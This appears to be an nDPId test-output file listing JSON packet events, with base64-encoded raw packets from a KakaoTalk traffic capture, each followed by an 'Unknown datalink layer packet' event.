+00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1766,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":975714,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABepxaAbDLIfq7ag1SapdrOvXPpMuHnYoFb1lG\/\/RkV2skHbhtuzVZE1SNYkcWyFAFtLrxzY0SEPUitM2\/RjQX+vfk14piX2Idx2YY9r+Wgpfvu70pChck6\/w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1766,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00618{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1767,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":983344,"pkt_caplen":234,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":234,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANoAAEAAHBH9oAHJAa4KGFK8WgYoHADGhw+AbFBCiz942guGVRnItrwZ+lP1lxRQmtWqfFml7241fmbuLT1P9qU03rIgaN6hotYCoIElZ\/ScBObkXVfS\/HpZFhXzXZdqydLDBoofSC32bynoyKOzLjNL7zoTfNh4QraHTEYF0TjakRq4GG5gIPxLV7fx86QgbOJUIX0Qfg1qd8zJVNbjeFffCRoFe7wPbL2QVBwCEgMWggjRpjy5fc+Y7m9xycqSYKjFDYnt+Sra2S4hFBHxWUu4R6w0X5m9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1767,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00618{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1768,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":999396,"pkt_caplen":230,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":230,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANYAAEAAHBH9pAHJAa4KGFK8WgYoHADCkIiAbFBDiz98mguGVRnh6IizODz3tO1uRaOCKL5BDZGJaes+mxzFfg6fWPM6XywBpSt9wAfrn6pH2DUE\/SQ1iLd67A9WlgEtu\/nD\/\/w0GTiYEYO8RQdyEDnzJ1z7+mE\/6jhw9rPJTWOZeICBqrKazk\/hnQtkkfkb6EA07eHMO8WUrtEBI30KiXqcAwY+63fTYQwELfp7Wm1lLt2c1UaHIsg41PrQT+WAbqLwfNSxEzE99GcwXAQCbErkrCg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1768,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1769,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":3180,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/NKqAbDLpfq9WQ1SapdqhgrTAEfu1w\/VWoK0568tyoNN8erYr5fGVaPDo6nWkKrn\/gKL7dBWBM0Bf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1769,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1770,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":12915,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/fk6AbFBjiz\/0mguGVRnFN0ur29eQxb0Qzp959op0+mXIrkQKcYpcnMJHUPtUA\/Qwqw1IvW7SCFpA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1770,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1771,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":13068,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJgAAEAAHRH84gHJAa4KGFK8WgQsOACE0QuAbDLJfq7eQ1SapdpGw0ELEly8k5HnxSG7oSfUJyFZjDPl8lvtimrdQlZjz+M8pmDLnthaPsOj1yNR5VcZykikUKwvQQmEXo8Bx\/0LZij7K4YbH+A+XrrGqQjMV9NDHAjQLVE3CCAiKsuqsT5vIc4P4hFVlbiM1IcutkWB"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1771,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1772,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":18683,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHAAAEAAPxHbMgoYUrwByQGuLDhaBABcv56AbFBkiz\/4WguGVRkhISJTAlDuKc3RDb9m0s8D1n+pqrb4StYHkbII3xO6cSstpwWEF8AtKjgzNaqQp+Sqd1ZxknG1qV5XS3EhNshM35cAt7j7TaI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1772,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1773,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":38367,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGQAAEAAQBHaPgoYUrwByQGuKBxaBgBQ\/mqAbDLqfq9aA1SapdrEKnfRe\/BZNA9vX6VAZudwA8tyISS0mtWBbQzEb\/8x7DOr2wmalPvs4HloupYlutzGXeSW0Q1Mifu7hqI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1773,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1774,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":55365,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKwAAEAAHBH9zgHJAa4KGFK8WgYoHACYVU6AbFBEiz+AWguGVRkg3fw4K+2nB8UF8ouf+1CU7\/v2PFTBRKaWrOzlvPSk7I7u\/Sf\/jXXyxVEW81DY\/aFD5AEop6TayXa2HHXgWCZg9DtyCs1I84heoP3ssj9zGd4dd4gP7jon6vCQhoe+C3LYOta9cDmoZ87wQ\/JRQZYRV2QQPyQdNWouSQJlPgM2TGfYF+8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1774,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1775,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":55487,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJsAAEAAHRH83wHJAa4KGFK8WgQsOACHy1mAbDLKfq7iA1SapdrPKzFtk\/M0AUVs0HsxN2lHzZAACjC6rnnKME2xKQERJFEtwPr\/KAt+Dit3urAkj+gngMnLRqEIhX0l+R31tzIJlj2wlUOTb8wtNu62sIkttH5nbQ3+bSso1\/PQ2eFFxTKEiNDbUDFfvbmN1980+LSMfKiw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1775,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1776,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":55854,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKMAAEAAHRH81wHJAa4KGFK8WgQsOACPnTGAbDLLfq7lw1Sapdp65Gv\/VcAo247821fv4rqSNUhjoLt3hkGEL3B162RcuStoSRu2flVUR0B4IjXeLeuCj1TY48l7l71bOXAVBpq8\/O3uPuo8gQmQSR8tASBViAeAzJ3kYU06mAZFNHos81mvfCu9YjiHvhezaz3H1VowIeM1qGHNDREh0Fc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1776,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00568{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1777,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":70441,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALUAAEAAHBH9xQHJAa4KGFK8WgYoHAChw46AbFBFiz+EGguGVRlr4aAeUqx6wQoUJfmwqCPBuK6k9u4xCouuPGxCyofHDqMxfe1FxWPuXyIQ1\/L6scuHuthoOLQD1Jl8fkIvHwC0lt92gzu1GT8Of+Ziw19r7nowHvVgxMidxQJ8zKfCbRL6XNimXKafujVVbdPmm0ug+zVu6dyW0faagKzkH3LjBuydSIVVd1hburc0IPs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1777,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00561{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1778,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":79352,"pkt_caplen":192,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":192,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALAAAEAAHBH9ygHJAa4KGFK8WgYoHACcPsyAbFBGiz+H2guGVRmChs0nwR16jYgXCgAWoscy556gYUyYrRFIBWFjmySlfPU5u7TSyv3VnO\/tCsoGmH5JytTizCdpKB6dK3DO+Tgg9\/4lnCylNQb4MGHR9dOsPQ7YhCFyBVmmsPHijIOCnbetkE4GInSEL1K4QQD+OPAEw60PGbjThVflvGTPr3+hOUwm33jwzaNT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1778,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00540{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1779,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":88660,"pkt_caplen":176,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":176,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKAAAEAAHRH82gHJAa4KGFK8WgQsOACMe0+AbDLMfq7pg1SapdqfswmsTRZQwZqEMvFVzKCQwYV7ZWWzpTYNE0FM8iQpJEJzDGUov\/xkfPPV9mdiYxjkJlAqunFBtAVRHkpAk6JYKz7ZwrzxSYCYiYoLfAXtxhDba46qLLDDXHdSCwxdkDq5RyQWpSrK+FDeeEm5p+Gqwa4bECsfjhU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1779,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1780,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":106513,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJYAAEAAQBHaDAoYUrwByQGuKBxaBgCC\/HWAbDLrfq9dw1SapdqYDJLMdrxGtF+gFUsCLwRNAHJ8l8CNffz6l3HBDSCJsWPTm25MMl+AN6vNMMH\/ahIfAEycE2l\/ePiscrN69ZIdj6Y21+lb5pwzW66Bq5oYQdlF6wl2luvznDBkEQiK1T6qBhhZBz2wXRlMwFGL1g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1780,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00588{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1781,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":113959,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMIAAEAAPxHa4AoYUrwByQGuLDhaBACuSoOAbFBliz\/8GguGVRlHNMNfDADOVBqQEh\/WV4iPKDr8toTV8HRwzSbPrMlLS3Pkc2IfZo5qqPvLmkx9t61FtsnmaLPh8+yypxtfgl93AxMhjgVMumUE1N0mg3UhGJx3Ej4K\/UWgSyqpA+8z8qJvnyv3IkvFQpmOUNKG94pLGY79ZW2Uu5HqvZxaLh5e3a1J82GShs\/k1dN9p8hiKX3N2lA0+ebFxYYR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1781,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00537{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1782,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":114051,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ4AAEAAHRH83AHJAa4KGFK8WgQsOACK+YmAbDLNfq7tQ1Sapdp66DphED2dfLV205jWenK2Am56DfXofQV1KJITVmvMq5aCSFV3gOurqQk4sk04gQ0Gl5ZQqiAPAcYcidWMEab4wT3ngPTN9j+4RXUDHzobwszkNBrSjenwhftgvIGJFefB6gD5uFMRYjuhGLbUb1qrcdUSQh8\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1782,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1783,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":119696,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMgAAEAAPxHa2goYUrwByQGuLDhaBAC0pGqAbFBmiz\/\/2guGVRkJ8+RZMUSVl1dXRDApe6qNvxhfg3EcSKYe1nkYIuo0KG78qGry1gefx4nZgPP1LEIaNszch2g2ejnLprA\/2tEc33F4Tyh3SOfvKG4HX2ah5bvvz2UHMHWkABluvZwNYnWTeFVEowBzHYAG5PMzRlC4Z0KxamPQkkhtBQIh2q065AL1UFrClJG+pK3n9PsGtzYn5xmqlUqPeZZpQGKIapzl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1783,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1784,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":128607,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAGxH+\/AHJAa4KGFK8WgcoHQBql62ByAAMC4ZVGbItSd6\/mTyCIr4E3Y5lu3\/72m5jcJjbwC5KlnCFnzd0zuOtETGMhjqjiiAH+YRIre6dMeMVSoMFs0jEh5oqJoOmprnMRKGlbL9RDliAAAAHKgs0sfS9+zbuxw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1784,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1785,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":147345,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALUAAEAAHBH9xQHJAa4KGFK8WgYoHACh4PGAbFBHiz+LmguGVRnQH\/rX0g2ufsbqwBbfokecIVb0RygfUXaRe8ZTHWH8+KaLGnbQLtiiFO7hhekIictlKwA24Oei5Ct6\/2FPT0uVzcqsDfwIfn9wVOtDjKqfEBTuKO1MxX9\/Qm1qO3gNEkyYqifBFyLbH9m2WwbT3x\/MxxTd17Elr5TvAMpP0cpp0uSJgROc9xhFmEzSSV4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1785,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1786,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":149115,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJQAAEAAQBHaDgoYUrwByQGuKBxaBgCANvyAbDLsfq9hg1SapdqQdIGUYm+KSCpX04mWTTYR8WcwuJNe0LX4eJ98CZZr9HNmAdNlRF1VH9SCCFz5DWRtekGlfBmWOHGfq3\/vQKH+GRASSg5MwMApmmiSMJVRQl91T8OHQ9RN\/09xV72OcJswXAXSCgwN0NvoZPc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1786,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00569{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1787,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":159339,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALQAAEAAHBH9xgHJAa4KGFK8WgYoHACg4sqAbFBIiz+PWguGVRlMQidvMz1Jo1XX1nea6kgLnrJRGwdhT9e1XBA4Gx66lvHFP5kGfBPyjKKreuAUjmji2VmW8eB92LXd7984VIvEdFzc\/uXo6e42Rcvsba3UVWIMTrl4yKTAoDnXGDYbWTkCjUDdZIqpmGURYsJRMmOenKy1QcSjyyUwvTzaMvyPkJQkj5x01qayTpJasA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1787,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00543{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1788,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":179267,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAHRH82wHJAa4KGFK8WgQsOACLrZ+AbDLOfq7xA1Sapdp8MWBNFDxZWPCECxsBx32JDKYgUVIzXg+4csbYFj7z5Wv0O02QmB6V3Auvjcli4+n15E2Q9\/haRP33YfGxlpI\/vYaEPz8Cxf1Cb0sT\/Vp7rbWfSWg1tkCcXQcEw1krsaUHjpjTw3uvFjSZ1Iu6BMx+FL0vFxMiMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1788,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1789,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":187232,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJkAAEAAHRH84QHJAa4KGFK8WgQsOACFWEqAbDLPfq70w1SapdocyImZc\/LWkKGgl3i2VeiJp\/YmJDzWUzdxpuNKt2x+FqxGBRUNhu+8BV19w3WzPfjOfQGxsflBF0UJ\/W4EsYKCC1uP9yQ8wVJ2NS0TogQFG0gR9CJlGpES3wJLYj8H0vP9yC7srpAW2ROcKgQyS6sINA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1789,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00540{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1790,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":199256,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJwAAEAAHBH93gHJAa4KGFK8WgYoHACI2U+AbFBJiz+TGguGVRkmHxwtxhFhIdOdSzpfT7\/SSG\/tyMm3tYLjEXz+TN+ia9\/ePGJHPLLZKZXF1mWzbTy4UcCP13oTcgZWnR+WudzYHg7M3RbW2pBV7dK2zM7a5KsQC8z0vT\/yiXh1jfJ2W8V0cSJR1XGHRpmwov2Ubw6nI7kXLg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1790,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00578{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1791,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":215003,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALwAAEAAPxHa5goYUrwByQGuLDhaBACoox2AbFBni0ADmguGVRm2eoZ+8OvIQS8edotjXCwftciqC1xEHNtiScQds7CKLu8dbIIs9kgYJ9DORSuuLg+F7uUheUm\/SeyVMxa+t8Zjs+lpsWenCO0zdA1WXhArcLsL33xZwXKQVDdFzygOwEMqW1j4dfsctmKME9AO7M+UnMdFS8fQ05hbvnR9rr\/4yntxQRPtPrvbM5XEKx1gmZMpJQPs"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1791,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00550{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1792,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":218299,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKMAAEAAQBHZ\/woYUrwByQGuKBxaBgCPTYSAbDLtfq9lQ1Sapdr+EV\/3RvRuhTcSA5LgrsPxDBYc59JXbU\/5mrHeB3pnHjFvUSGLs25xgYMC6Go\/8gcV0HY\/IaDx8d8zyxD5X4KY2BTTgpSiPtx7OoBmY0riqKuwY8Sx9EeON++H4V9pEguKBPyBcJgXjLOaAhJtpeEt3khY\/L+KWTY3Pg8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1792,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1793,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":271430,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJIAAEAAHRH86AHJAa4KGFK8WgQsOAB+Q\/iAbDLQfq74g1Sapdpxe+PeWSivSqYkoo\/5jkVVHFqwGwJPZh1ESrp\/+TJsFhNQxyB6g3xaEwewxhQjzqcrbQWMmTIQrC7UumUMLGfBeXkiEGrlQeX0ncD+LfZE2mEbLMuYHlwJERHWFtc5PSjOVE5liQ6dNk\/z"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1793,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1794,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":280188,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKkAAEAAQBHZ+QoYUrwByQGuKBxaBgCVz9SAbDLufq9pA1SapdpS9e5taihFGRsv0DUIo7+NX15eWolgKTqWx7WaxxdzdhONQqSdkl5LC0s\/ae\/TTrdfYhTU586B2ugOR005AllpPodyQ1H5xpp+W9T7DU6P6fIGjOIJykvrcNqg99ss1uoHQ4pf9Mu6aoFzNf8vcy3hrBWN2qxSGEr5XjKhzQ2I2Hg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1794,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1795,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":315039,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALgAAEAAPxHa6goYUrwByQGuLDhaBACkP3SAbFBoi0AHWguGVRkUOgVB0xr6eK9rA3z\/xzT1LVDYOUNI+hTMQlAkRPIEdwfVBfgJFOpdt\/G+FC63jfFigUE3e9Kcd3WN50NNcyDmiFBQtPfOGUk9k409zeBHwRogA6oVxPSD1n8J0Gz6s1ftDsSNR28rHSPnYTv8zgkIhQK7Iu9CmUZEnyvvvecRuJiwC+bnw11oPJA5Lc8YCDg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1795,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 